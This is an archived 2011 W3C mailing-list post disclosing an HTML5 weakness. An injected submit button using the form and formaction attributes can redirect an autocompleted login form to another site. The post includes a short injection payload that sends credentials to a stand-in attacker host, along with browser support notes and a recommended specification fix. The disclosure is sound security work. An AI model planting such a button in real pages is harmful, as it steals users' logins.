W3C home > Mailing lists > Public > public-html-comments@w3.org > August 2011

[html5] Input attributes allow form tampering

From: Philippe De Ryck <philippe.deryck@cs.kuleuven.be>
Date: Tue, 02 Aug 2011 08:29:00 +0200
To: public-html-comments@w3.org
Cc: Giles Hogben <Giles.Hogben@enisa.europa.eu>, Lieven Desmet <Lieven.Desmet@cs.kuleuven.be>, Thomas Roessler <tlr@w3.org>
Message-ID: <1312266540.13091.2.camel@papyrus>
The following comment contains detailed information about an issue that
was discovered during a recent security analysis of 13 next generation
web standards, organized by ENISA (European Network and Information
Security Agency), and performed by the DistriNet Research Group (K.U.
Leuven, Belgium).

The complete report is available at http://www.enisa.europa.eu/html5
(*), and contains information about the process, the discovered
vulnerabilities and recommendations towards improving overall security
in the studied specifications.

 Summary 
---------
The insertion of a button that overwrites certain form attributes
increases the potential impact of HTML injection.

Based on: HTML5, 11 July 2011
Relevant Sections: 10.7. The input element

 Issue
-------

The new form attributes, which can be used with submit buttons, can make
it difficult for a user to distinguish the form that is being submitted.
This can be used by an adversary to trick the user into submitting a
form, such as an autocompleted login form. Even though this attack was
already possible with JavaScript enabled, this new vector does not
depend on scripts. Additionally, it is possible that current content
validation filters do not yet prevent against button injection.

 Code example
--------------

The actual form, which is probably auto-completed by the browser:
	<form id="login"
action="http://testsrv1.example.com/enisa_ha/login.php" method="POST">
		<input type="text" name="username" />
		<input type="password" name="password" />
		<input type="submit" value="Login" />
	</form>

The injected code:
	<input type="submit" value="Launch the game" form="login"
formaction="http://testsrv1.csrf.com/enisa_ha/login.php" />
			
 Current state of implementation
---------------------------------

The current browser implementations show the following behavior:
	* Firefox 5: Scenario is supported
	* Chrome 12: Scenario is supported
	* IE 8: No support for modifying form attributes
	* Safari 5 (windows): No support for modifying form attributes
	* Opera 11.50: No automatic autocomplete support, form attributes are
modifiable though


 Recommended Solution
----------------------

Extend the form element with an additional attribute, which explicitly
enables non-hierarchical input elements to change form attributes.
Without this attribute, input elements cannot change form attributes,
which offers backwards security for current sites.

Alternatively, if changing the specification is not possible, developers
should be warned about this attack vector, so they can update their
content filters.



(*) HTML version of the report is available as well:
https://distrinet.cs.kuleuven.be/projects/HTML5-security/

-- 
Philippe De Ryck
K.U.Leuven, Dept. of Computer Science


Disclaimer: http://www.kuleuven.be/cwis/email_disclaimer.htm
Received on Tuesday, 2 August 2011 09:06:59 GMT

This archive was generated by hypermail 2.2.0+W3C-0.50 : Tuesday, 2 August 2011 09:07:00 GMT